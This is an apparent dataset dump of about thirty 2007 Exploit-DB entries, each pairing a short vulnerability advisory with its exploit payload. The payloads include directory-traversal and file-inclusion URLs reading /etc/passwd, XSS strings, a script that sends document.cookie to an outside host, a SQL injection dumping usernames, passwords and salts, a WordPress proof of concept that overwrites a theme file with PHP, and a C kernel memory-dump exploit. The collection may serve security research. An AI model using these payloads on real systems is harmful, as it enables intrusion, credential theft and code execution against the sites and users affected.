QLWD/code_shield huggingface dataset:
标题: Satel Lite - 'Satellite.php' Local File Inclusion EDB-ID: 29782 CVE: 2007-3332 类型: WEBAPPS 平台: PHP 发布日期: 2007-11-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23143/info

Satel Lite is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to access sensitive information and to execute local script code in the context of the application; this may facilitate other attacks against the affected computer.

http://www.example.com/nuke_path/Satellite.php?op=modload&name=../../../../../../etc/passwd&file=index URL: https://www.exploit-db.com/exploits/29782
标题: Microsoft Windows Vista - Windows Mail Local File Execution EDB-ID: 29771 CVE: 2007-1658 类型: REMOTE 平台: WINDOWS 发布日期: 2007-03-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/23103/info

Microsoft Windows Vista Windows Mail is prone to a local file-execution vulnerability due to a design error.

An attackers may exploit this issue to execute local files. The attacker must entice a victim into opening a maliciously crafted link using the affected application.

The vendor reports this issue can also be exploited through use of UNC navigation to execute arbitrary remote code. This may facilitate a remote compromise of the affected computer. 

Content-Type: text/html\r\n\r\n<a href=\"c:/windows/system32/winrm?\">Click here!</a> URL: https://www.exploit-db.com/exploits/29771
标题: Free File Hosting System 1.1 - 'login.php?AD_BODY_TEMP' Remote File Inclusion EDB-ID: 29773 CVE: 2006-5763 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/23118/info
 
Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
Version 1.1 is vulnerable to these issues.
 
This BID was incorrectly reporting Free File Upload script as the affected package. Free File Upload script is the demo version of the Free File Hosting script.
 
This issue is related to BID 20781 - Free File Hosting Forgot_Pass.PHP Remote File Include Vulnerability. 

http://www.example.com/login.php?AD_BODY_TEMP=http://www.example2.com URL: https://www.exploit-db.com/exploits/29773
标题: CcCounter 2.0 - 'index.php' Cross-Site Scripting EDB-ID: 29776 CVE: 2007-1714 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23135/info

CcCounter is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

CcCounter version 2.0 is vulnerable to this issue; other versions may also be affected. 

http://www.example.com/cccounter_path/index.php?option=browser&dir=%3Cscript%3Ealert(/Crackers_Child/)%3C/script%3E URL: https://www.exploit-db.com/exploits/29776
标题: Free File Hosting System 1.1 - 'register.php?AD_BODY_TEMP' Remote File Inclusion EDB-ID: 29774 CVE: 2006-5763 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/23118/info
  
Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
Version 1.1 is vulnerable to these issues.
  
This BID was incorrectly reporting Free File Upload script as the affected package. Free File Upload script is the demo version of the Free File Hosting script.
  
This issue is related to BID 20781 - Free File Hosting Forgot_Pass.PHP Remote File Include Vulnerability. 

http://www.example.com/register.php?AD_BODY_TEMP=http://www.example2.com URL: https://www.exploit-db.com/exploits/29774
标题: Linux Kernel 2.6.x - IPv6_SockGlue.c Null Pointer Dereference Denial of Service EDB-ID: 29781 CVE: 2007-1388 类型: DOS 平台: LINUX 发布日期: 2007-03-26 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/23142/info

The Linux kernel is prone to a NULL-pointer dereference vulnerability.

A local attacker can exploit this issue to crash the affected application, denying service to legitimate users. The attacker may also be able to execute arbitrary code with elevated privileges, but this has not been confirmed.
*/


__ ip2.c __
// advanced exploit code for catastrophic kernel bug by Joey Mengele, professional hacker
// user, to dump 0xaddress from kernel memory: ./ip2 0xaddress
#include <sys/signal.h>
typedef int fg8;
#include <sys/mman.h>
typedef long _l36;
#include <string.h>
typedef long * jayn9124;
#include <stdio.h>
typedef char * anal;
#include <netinet/in.h>
#define __exit main
#define __main exit
typedef void pleb;
#include <stdlib.h>
fg8 ___hh(fg8,_l36,jayn9124);
#include <unistd.h>
pleb _zzy();
#       define __f4 setsockopt
#       define __f5 getsockopt
fg8 __exit(fg8 argc, anal *argv[]) {
_l36 tmp;
fg8 s;
_l36 hud;
if (argc!=2) __main(-1);
if (1 != sscanf(argv[1]," 0x%x",&hud)) __main(-1);
signal(SIGSEGV,&exit);
s = socket(AF_INET6, SOCK_STREAM, IPPROTO_TCP);
_zzy();
__f4(s, IPPROTO_IPV6, 6, (void *)NULL, 0);
___hh(s,hud,&tmp);
printf("Kernel memory @ %.8x contains %.8x\n",hud,tmp);
return 0;
}
int ___hh(int bf,_l36 _rtg,jayn9124 rape)
{
fg8 ot=4;
*(jayn9124)(0x8) = _rtg;
return __f5(bf,IPPROTO_IPV6,59,(void *)rape,&ot);
}
void _zzy()
{
_l36 *gol = NULL;
if( (gol = mmap( (void *)NULL, 4096,
PROT_READ|PROT_WRITE, MAP_FIXED |MAP_ANONYMOUS | MAP_PRIVATE, 0, 0
)) == (void *) -1 )
{perror( "mmap" );exit(412);}
}
__ ip2.c EOF __ URL: https://www.exploit-db.com/exploits/29781
标题: KDE Konqueror 3.x/IOSlave - FTP PASV Port-Scanning EDB-ID: 29770 CVE: 2007-1564 类型: REMOTE 平台: LINUX 发布日期: 2007-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/23091/info

KDE Konqueror is prone to a vulnerability that may allow attackers to obtain potentially sensitive information.

A successful exploit of this issue would cause the affected application to connect to arbitrary TCP ports and potentially reveal sensitive information about services that are running on the affected computer. Information obtained may aid attackers in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29768.zip URL: https://www.exploit-db.com/exploits/29770
标题: Mozilla FireFox 1.5.x/2.0 - FTP PASV Port-Scanning EDB-ID: 29768 CVE: 2007-1562 类型: REMOTE 平台: LINUX 发布日期: 2007-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/23082/info

Mozilla Firefox is prone to vulnerability that may allow attackers to obtain potentially sensitive information.

A successful exploit of this issue would cause the affected application to connect to arbitrary TCP ports and potentially reveal sensitive information about services that are running on the affected computer. Information obtained may aid attackers in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29768.zip URL: https://www.exploit-db.com/exploits/29768
标题: Free File Hosting System 1.1 - 'contact.php?AD_BODY_TEMP' Remote File Inclusion EDB-ID: 29772 CVE: 2006-5764 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/23118/info

Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Version 1.1 is vulnerable to these issues.

This BID was incorrectly reporting Free File Upload script as the affected package. Free File Upload script is the demo version of the Free File Hosting script.

This issue is related to BID 20781 - Free File Hosting Forgot_Pass.PHP Remote File Include Vulnerability. 

http://www.example.com/contact.php?AD_BODY_TEMP=http://www.example2.com URL: https://www.exploit-db.com/exploits/29772
标题: Mephisto Blog 0.7.3 - Search Function Cross-Site Scripting EDB-ID: 29780 CVE: 2007-1873 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/23141/info

Mephisto Blog is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Mephisto Blog version 0.7.3 is vulnerable to this issue; other versions may also be affected.

http://www.example.com/search?q="/><script>window.location="http://www.example2.com/script.php?data="+document.cookie</script> URL: https://www.exploit-db.com/exploits/29780
标题: ZYXEL Router 3.40 Zynos - SMB Data Handling Denial of Service EDB-ID: 29767 CVE: 2007-1586 类型: DOS 平台: HARDWARE 发布日期: 2007-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23061/info

Zyxel Routers running the ZynOS operating system are prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected device, denying further network service to legitimate users.

This issue affects Zyxel routers running ZynOS version 3.40. 

sr(SMBMailSlot(name='\\M')) URL: https://www.exploit-db.com/exploits/29767
标题: W-Agora 4.2.1 - 'change_password.php?userid' Cross-Site Scripting EDB-ID: 29766 CVE: 2007-1606 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23057/info
  
w-Agora is prone to multiple input-validation vulnerabilities, including possible SQL-injection issues and multiple cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
w-Agora 4.2.1 is vulnerable. 

http://www.example.com/w-agora/change_password.php?newpasswd1=1&newpasswd2=1&passwd=1&site=hello&userid='"><script>alert(documen t.cookie)</script> URL: https://www.exploit-db.com/exploits/29766
标题: Opera 9.x - FTP PASV Port-Scanning EDB-ID: 29769 CVE: 2007-1563 类型: REMOTE 平台: LINUX 发布日期: 2007-03-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/23089/info

Opera is prone to vulnerability that may allow attackers to obtain potentially sensitive information.

A successful exploit of this issue would cause the affected application to connect to arbitrary TCP ports and potentially reveal sensitive information about services that are running on the affected computer. Information obtained may aid attackers in further attacks. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29768.zip URL: https://www.exploit-db.com/exploits/29769
标题: Web Wiz Forums 8.05 - String Filtering SQL Injection EDB-ID: 29762 CVE: 2007-1548 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23051/info


Web Wiz Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

This issue affects versions prior to 8.05a; other versions may also be affected.

<form method="post"
action="http://localhost/forum/pop_up_member_search.asp?">
<input type="hidden" name="name" id="name" value="\"&#039; union
select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt)
from tblautauthorhor /*" >
<input type="submit" value="Go">
</form> URL: https://www.exploit-db.com/exploits/29762
标题: LedgerSMB1.0/1.1 / SQL-Ledger 2.6.x - 'Login' Local File Inclusion / Authentication Bypass EDB-ID: 29761 CVE: 2007-1540 类型: WEBAPPS 平台: CGI 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23034/info

LedgerSMB/SQL-Ledger are prone to a local file-include vulnerability because the application fails to sufficiently sanitize user-supplied input. SQL-Ledger is also prone to an authentication-bypass vulnerability.

A successful exploit would allow an attacker to view files and execute arbitrary local scripts within the context of the webserver and potentially gain unauthorized access to the affected application.

Note that the authentication-bypass issue affects only SQL-Ledger.

These issues affect LedgerSMB prior to 1.1.10 and SQL-Ledger prior to 2.6.27.

http://www.example.com/sql-ledger/am.pl?login=../../../home/user/foo.pl%00&action=add_department URL: https://www.exploit-db.com/exploits/29761
标题: W-Agora 4.2.1 - 'search.php?search_user' Cross-Site Scripting EDB-ID: 29765 CVE: 2007-1606 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23057/info
 
w-Agora is prone to multiple input-validation vulnerabilities, including possible SQL-injection issues and multiple cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
w-Agora 4.2.1 is vulnerable. 

http://www.example.com/w-agora/search.php?bn=hello_hello&gosearch=1&pattern=1&search_date=0&search_fields[body]=1&search_fields[ subject]=1&search_forum=hello_hello&search_mode=0&search_user='"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29765
标题: PHPX 3.5.15/3.5.16 - 'gallery.php' SQL Injection EDB-ID: 29760 CVE: 2007-1550 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23033/info
    
PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
    
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
    
http://www.example.com/phpx/gallery.php?action=viewCat&cat_id=' URL: https://www.exploit-db.com/exploits/29760
标题: PHPX 3.5.15/3.5.16 - 'print.php' SQL Injection EDB-ID: 29756 CVE: 2007-1550 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23033/info

PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/phpx/print.php?action=news&news_id=' URL: https://www.exploit-db.com/exploits/29756
标题: PHPX 3.5.15/3.5.16 - 'users.php' SQL Injection EDB-ID: 29758 CVE: 2007-1550 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23033/info
  
PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
  
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
  
http://www.example.com/phpx/users.php?action=view&user_id=' URL: https://www.exploit-db.com/exploits/29758
标题: W-Agora 4.2.1 - 'profile.php?showuser' Cross-Site Scripting EDB-ID: 29764 CVE: 2007-1606 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/23057/info

w-Agora is prone to multiple input-validation vulnerabilities, including possible SQL-injection issues and multiple cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

w-Agora 4.2.1 is vulnerable. 

http://www.example.com/w-agora/profile.php?site=hello&showuser='"><script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/29764
标题: PHPX 3.5.15/3.5.16 - 'forums.php' SQL Injection EDB-ID: 29757 CVE: 2007-1550 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23033/info
 
PHPX is prone to multiple input-validation vulnerabilities because the application fails to properly sanitize user-supplied input.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, execute arbitrary script code in the context of the webserver process, compromise the application, obtain sensitive information, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/phpx/forums.php?cat_id='
http://www.example.com/phpx/forums.php?forum_id=1&topic_id='
http://www.example.com/phpx/forums.php?forum_id=1&topic_id=1&post_id=' URL: https://www.exploit-db.com/exploits/29757
标题: PHP 5.1.6 - Mb_Parse_Str Function Register_Globals Activation EDB-ID: 29752 CVE: 2007-1583 类型: REMOTE 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23016/info

PHP is prone to a weakness that allows attackers to enable the 'register_globals' directive because the application fails to handle a memory-limit exception.

Enabling the PHP 'register_globals' directive may allow attackers to further exploit latent vulnerabilities in PHP scripts.

This issue is related to the weakness found in the non-multibyte 'parse_str()' from BID 15249 - PHP Parse_Str Register_Globals Activation Weakness.

This issue affects PHP 4 to 4.4.6 and 5 to 5.2.1.

<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //        PHP mb_parse_str() register_globals Activation Exploit      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // The following string will be parsed and will violate the memory_limit
  $str = "a=".str_repeat("A", 164000);

  // This code just fills the memory up to the limit...
  $limit = ini_get("memory_limit");
  if (strpos($limit, "M")) {
    $limit *= 1024 * 1024;
  } else if (strpos($limit, "K")) {
    $limit *= 1024;
  } else $limit *=1;
  while ($limit - memory_get_usage(true) > 2048) $x[] = str_repeat("A", 1024);

  // Will activate register_globals and trigger the memory_limit
  mb_parse_str($str);
?> URL: https://www.exploit-db.com/exploits/29752
标题: WordPress Core < 2.1.2 - 'PHP_Self' Cross-Site Scripting EDB-ID: 29754 CVE: 2007-1622 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/23027/info

WordPress is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
        "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="es" lang="es"> 
<head>
 <title>Wordpress XSS PoC</title>
</head>
<body id="main">

 <form action="http://localhost/wp/wp-admin/theme-editor.php/'><img src=a onerror=document.forms[0].submit()><.php" method="post">
  <p>
   <textarea name="newcontent" rows="8" cols="40"><?php echo "Owned! " . date('F d, Y'); ?></textarea>
  </p>
  <p>
   <input type="hidden" name="action" value="update" />
   <input type="hidden" name="file" value="wp-content/themes/default/index.php" />  
  </p>
 </form> 
 <script type="text/javascript">
 // <![CDATA[
  document.forms[0].submit();
 // ]]>
 </script>
</body>
</html> URL: https://www.exploit-db.com/exploits/29754
标题: Horde Framework 3.1.3 - 'login.php' Cross-Site Scripting EDB-ID: 29745 CVE: 2007-1473 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/22984/info

Horde Framework is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

This issue affects versions prior to 3.1.4. 

http://www.example.com/horde/[Horde_App]/login.php?new_lang=[xss] URL: https://www.exploit-db.com/exploits/29745
标题: Microsoft Internet Explorer 7 - NavCancel.HTM Cross-Site Scripting EDB-ID: 29741 CVE: 2007-1499 类型: REMOTE 平台: WINDOWS 发布日期: 2007-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/22966/info

Microsoft Internet Explorer is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to spoof the contents of the Navigation canceled page, steal cookie-based authentication credentials, and obtain other sensitive information. Successful exploits may assist in phishing or other attacks that rely on content spoofing. 

res://ieframe.dll/navcancl.htm#http://www.example.com/[script] URL: https://www.exploit-db.com/exploits/29741
标题: MiniGZip - Controls File_Compress Buffer Overflow EDB-ID: 29740 CVE: 2007-1657 类型: DOS 平台: WINDOWS 发布日期: 2007-03-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/22964/info

The 'minigzip' tool is prone to a buffer-overflow vulnerability because it fails to bounds-check user-supplied data before copying it into an insufficiently sized buffer.

A local attacker can exploit this issue to execute arbitrary code with the privileges of the user running the affected application. Failed exploit attempts will result in a denial of service. 

minigzip `perl -e 'print 'A'x1050' URL: https://www.exploit-db.com/exploits/29740
标题: Holtstraeter Rot 13 - 'Enkrypt.php' Directory Traversal EDB-ID: 29748 CVE: 2007-1509 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/22997/info

Holtstraeter Rot 13 is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve the contents of arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks. 

http://www.example.com/enkrypt.php?datei=../../../../etc/passwd URL: https://www.exploit-db.com/exploits/29748